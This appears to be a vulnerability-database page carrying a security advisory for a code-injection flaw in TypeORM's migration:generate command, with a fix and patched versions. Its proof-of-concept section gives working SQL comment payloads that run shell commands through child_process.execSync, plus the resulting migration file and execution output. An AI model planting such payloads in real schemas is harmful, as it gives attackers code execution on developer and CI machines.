GHSA-2rp8-mm9q-fp49Medium· 5.7▾ SunlitTypeORM: migration:generate template-literal code injection
▾ Sunlit zone — Low / medium · no exploitation signal
impact 31.4 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions | PostgresQueryRunner.ts:1782, L1898, L2287, L4125 |
| MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT | MysqlQueryRunner.ts:2873-2974, L3580-3583 |
| CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |
escapeComment() on each driver strips only null bytes, leaving ${...} intact:
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
MigrationGenerateCommand.ts | 117-138 | Template-literal construction (sink) |
PostgresDriver.ts | 1886-1891 | escapeComment() — Postgres |
MysqlDriver.ts | 1322-1328 | escapeComment() — MySQL |
CockroachDriver.ts | 1236-1241 | escapeComment() — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
Column COMMENT | Confirmed | Proven in PoC below |
Column DEFAULT | Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration |
CHECK constraint | Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE |
| View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |
Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.
Prerequisites:
migration:generateCOMMENT, DEFAULT, or view definition textSteps:
${...}:-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
.ts file contains unescaped ${...}:export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
npx typeorm migration:revert -d ./data-source.ts
Output confirms code execution — id ran on the host and its output was interpolated into the SQL:
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.
typeorm < 0.3.31typeorm >= 1.0.0, < 1.1.0Upgrade to a patched release:
typeorm 0.3.31typeorm 1.1.0Connected by shared product, vendor, weakness, or advisory.
CVE-2025-14576High· 7.8Insufficient validation of node IDs in Qt SVG module allows arbitrary QML/JavaScript code injection when loading malicious SVG files through the VectorImage component in Qt Quick
GHSA-9ggv-8w38-r7pmMedium· 5.9TypeORM: SQL Injection in UpdateQueryBuilder/SoftDeleteQueryBuilder orderBy (MySQL/MariaDB)
CVE-2025-13786High· 7.3A vulnerability was detected in taosir WTCMS up to 01a5f68a3dfc2fdddb44eed967bb2d4f60487665
CVE-2022-34821High· 7.6A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2), SCALANCE M804PB (6GK5804-0AP00-2AA2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2), SCALANCE …
CVE-2023-3519Critical· 9.8Unauthenticated remote code execution
CVE-2021-44529Critical· 9.8A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).